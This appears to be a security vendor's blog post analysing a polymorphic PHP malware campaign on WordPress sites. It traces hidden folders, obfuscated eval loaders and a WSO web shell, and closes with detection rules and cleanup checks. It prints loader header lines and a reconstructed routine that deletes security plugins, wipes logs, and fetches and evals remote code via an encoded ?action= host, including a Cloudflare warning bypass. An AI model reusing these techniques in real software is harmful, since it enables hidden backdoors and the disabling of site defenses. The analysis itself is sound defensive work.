
Over eight days, Pyxsoft Labs received 19 PHP files in three batches. All of them sat in folders with names like these:
~/public_html/well-known/pki-validation/d/f/g/h/zftxmkiheya.php
~/public_html/well-known/acme-challenge/b/a/g/h/xwcgnbe/gmzdr1e/admin.php
Each file had a different SHA-256. VirusTotal had no record of 16 of them, and two of the other three had 0 and 1 detections. Underneath, there were only four programs.
This is a good look at polymorphism: what it is, why it defeats hash lists and text searches, and what still gives this malware away.
A folder nobody checks
.well-known/pki-validation and .well-known/acme-challenge are real paths. Certificate authorities and Let’s Encrypt use them to check that you control a domain, and most people leave them alone.
The attacker created well-known, without the leading dot. In a file listing, it looks like the legitimate folder. Inside, four levels of one-letter folders lead to a file with a random 11-letter name, or to an admin.php or index.php that looks harmless at a glance.
What polymorphism means
A polymorphic family is one program that is packaged differently every time it is copied. What it does stays the same, but the bytes on disk change. Each copy therefore has a new hash, and a list of known-bad hashes catches exactly one file.
Grouped by the code they actually run, the 19 files look like this:
| What it is | Files | Distinct hashes |
|---|---|---|
| Remote loader that disables security plugins (described below) | 6 | 6 |
Web shell (a modified WSO 2.5), always named admin.php |
7 | 7 |
| A larger version of the loader that hooks into WordPress core | 2 | 2 |
Another index.php loader, packed differently (we didn’t unpack it fully) |
3 | 3 |
| A small file uploader | 1 | 1 |
Here is how the packaging changes from copy to copy. These are the first lines of two of the six copies of the loader:
$YXIF='gzunc'.'ompress';$ByqX='s'.'tr'.'_repl'.'ace';$snqF='ex'.'it';
$ouXm='s'.'ubst'.'r';$IpfV='f'.'ile'.'_g'.'et'.'_conten'.'ts';
eval($YXIF($ByqX('gtcbsvxfnq','>',$ByqX('zdjuafryvc','<',$ouXm($IpfV(__FILE__),-13687)))));$snqF(0);
?>
x\x9c\xed\xbd ... (13,687 bytes of compressed data)
$PLBb='sub'.'str';$ckzs='e'.'xit';$XScH='gzuncom'.'press';
$YiCB='st'.'r'.'_'.'replac'.'e';$UnHO='fi'.'le_g'.'et'.'_co'.'ntents';
eval($XScH($YiCB('nyzflivdoc','>',$YiCB('rtnoxcqhlf','<',$PLBb($UnHO(__FILE__),-10326)))));$ckzs(0);
?>
x\x9c\x55 ... (10,326 bytes of compressed data)
Each build changes several things:
- Variable names are random (
$YXIF,$PLBb). - Function names are split into random pieces:
'gzunc'.'ompress'in one copy,'gzuncom'.'press'in the other. - The payload is stored after
?>as raw compressed bytes. The file reads itself withfile_get_contents(__FILE__), takes the end of the file, decompresses it and runs it.exit(0)stops PHP before it reaches the binary data. - The characters
<and>are removed from the compressed data and replaced with random 10-letter words (zdjuafryvc,gtcbsvxfnq). A scanner looking for<?phphidden inside a file won’t find it. - The decoding chain changes. Further in, each copy decodes its next layer with a different combination and order of
strrev,base64_decode,gzinflate,gzuncompressandstr_rot13.
The admin.php web shell goes further. One copy we unpacked calls eval 20 times in a row on its own output, and then passes through a second, older obfuscator before reaching readable code. All seven copies end up as the same code, from seven different files on disk.
Why the usual searches fail
We searched for the strings a cleanup script usually looks for in the 18 files of the four main programs:
| Text searched | Files containing it |
|---|---|
eval( |
18 |
base64_decode |
0 |
str_rot13 |
0 |
$_GET or $_SERVER |
0 |
http |
0 |
wordfence |
0 |
eval( is everywhere, but legitimate software uses it too, so it is a lead and not a verdict. Everything that would show what the files do, such as the URLs, the parameters they read and the plugins they attack, appears only after decoding.
What the loader does
Six of the files run the same 12,777-byte program. One of them, the file in pki-validation, isn’t wrapped in compressed data. It is the loader on its own, with names split into pieces and its code scrambled with goto jumps. Below are the parts that matter, rewritten with readable names.
On every request: remove the defenses
Every time the file is loaded, before checking any parameters, it does this:
$plugins = ['sucuri-scanner', 'better-wp-security', 'jetpack', 'wpscan', 'wordfence',
'bulletproof-security', 'all-in-one-wp-security-and-firewall',
'miniorange-2-factor-authentication', /* ... */];
foreach ($plugins as $p) {
delete_recursively($root . '/wp-content/plugins/' . $p); // rm -rf when a shell is available
}
file_write($root . '/wordfence-waf.php', ''); // empty Wordfence's firewall loader
unlink($root . '/.user.ini'); // where that loader is hooked into PHP
unlink($root . '/error_log'); // and the log that might show all this
Security plugins, the Wordfence firewall and the two-factor login plugin all disappear. If the site owner reinstalls them, the next request to this file removes them again.
Against other attackers
Many sites are infected more than once, and competing gangs fight over them. A common trick is to “lock” a hacked site by making index.php read-only (permissions 0444) and blocking access with deny from all in .htaccess.
This loader looks for those signs. If it finds them, it:
- restores write permissions,
- deletes a list of about 80 filenames used by other backdoors (
wp-l0gin.php,xmrlpc.php,lock360.php,wp-the1me.php, …), - replaces
.htaccesswith the standard WordPress rules.
It also has a bug: it prepares a standard WordPress index.php, but then writes an empty one. A site where this branch runs shows a blank page.
The command channel
When it is called with ?action=, the loader downloads code and runs it:
$host = substitute_letters(str_rot13(pack('H*', strrev($_GET['action']))));
$code = download('http://' . $host); // file_get_contents, then curl, then wget, then fopen
$code = bypass_cloudflare_warning('http://' . $host, $code);
eval(str_replace(['<?php', '<?', '?>'], '', $code));
The details matter:
- The address of the attacker’s server isn’t in the file. It arrives with each request, encoded four ways. Without the web server’s access logs, the file doesn’t reveal where its code comes from, and the attacker can move to a new server at any time.
- It tries four ways to download, so it keeps working on servers where some PHP functions are disabled. Each request pretends to be an iPhone that came from Google.
- It bypasses Cloudflare’s phishing warning. If the response contains Cloudflare’s “Warning: suspected phishing” page, the loader extracts its token, calls
/cdn-cgi/phish-bypasswith it and downloads again. The attacker’s server had probably already been flagged, and the malware was built to get past that. - The real payload never touches the disk. The file contains only the loader, and the code that runs changes whenever the attacker wants.
The disguise
Called with no parameters, the file prints 403 - Forbidden!. Anyone who opens it in a browser sees what looks like a blocked folder.
The rest of the kit
The other programs in the campaign complete the picture:
- A web shell in
admin.php: a modified WSO 2.5. It provides a file manager, a command console, database access, password brute forcing and reverse shells. Like many WSO copies, it returns “404 Not Found” to the Google, Yahoo, MSN and Yandex crawlers, so the site doesn’t get flagged in search results. - A larger loader that hooks into WordPress: it does everything the loader does, and also edits
wp-includes/plugin.php. That file is part of WordPress core and is loaded on every page view. Its added code keeps clearing out competing backdoors and rewritingindex.phpand.htaccess. Deleting the dropper doesn’t remove that code.
When files like these turn up, assume the attacker has already used them. Deleting them is the start of the cleanup, not the end. Our guide on why sites get reinfected after cleaning covers what else to check.
How Pyxsoft detects it
None of the 19 files matched a signature when it arrived, and most were unknown to antivirus engines. A signature only covers files the lab has already seen, and here the files change every time.
The static analyzer in Pyxsoft Anti Malware doesn’t need to have seen a file before. It parses the PHP and follows what the code does with its values, without running anything. In this campaign, it sees that:
- the program builds
gzuncompress,str_replaceorbase64_decodefrom pieces of strings; - it applies those functions, in layers, to data stored in the file itself;
- and it passes the result to
eval.
Some legitimate plugins do compress or encode data. Hiding the names of the decoding functions, decoding in several layers and executing the result is another matter. We haven’t measured any legitimate code that does all of that, so this rule is one of our high precision rules: when it matches, Anti Malware reports the file as malware, Heuristic.PHP.Loader.Eval, instead of flagging it for review.
With the current engine, the results for this campaign are:
| Files | Result |
|---|---|
| 18 files of the four main programs (all 19 hashes except the uploader) | Malware, Heuristic.PHP.Loader.Eval |
| The small uploader | Suspicious: it writes uploaded files without checks, but it isn’t hidden |
The rule doesn’t depend on variable names, on how the strings are split or on the order of the decoders, which are exactly the things that change between copies. Still, we tested it on this campaign, not on every variant someone might build in the future. Suspicious files are sent to the lab, where they are reviewed and turned into protection for every server.
What to check on your server
- Look for fake system folders. A
well-knownfolder without the dot is a strong sign:find /home/*/public_html -type d -name 'well-known' - Check whether security plugins disappeared on their own. If Wordfence, Sucuri or a 2FA plugin is gone and nobody removed it, find out why before you reinstall it.
- Verify WordPress core files.
wp core verify-checksumswith WP-CLI shows whetherwp-includes/plugin.phpor other core files were modified. - Look at
index.phpand.htaccess. An emptyindex.php, a read-only one, or.htaccessrules you didn’t write are all warning signs. - Check your logs for
?action=. Requests to random files in unusual folders with that parameter show when the loader was used. - Change the passwords for the database, FTP and WordPress administrators. Do this after the cleanup, not before.
Pyxsoft Anti Malware runs this analysis on cPanel/WHM servers and on servers with no panel, both on a schedule and in real time. It is licensed per server, whatever the number of accounts, and there’s a 7-day free trial, no credit card needed.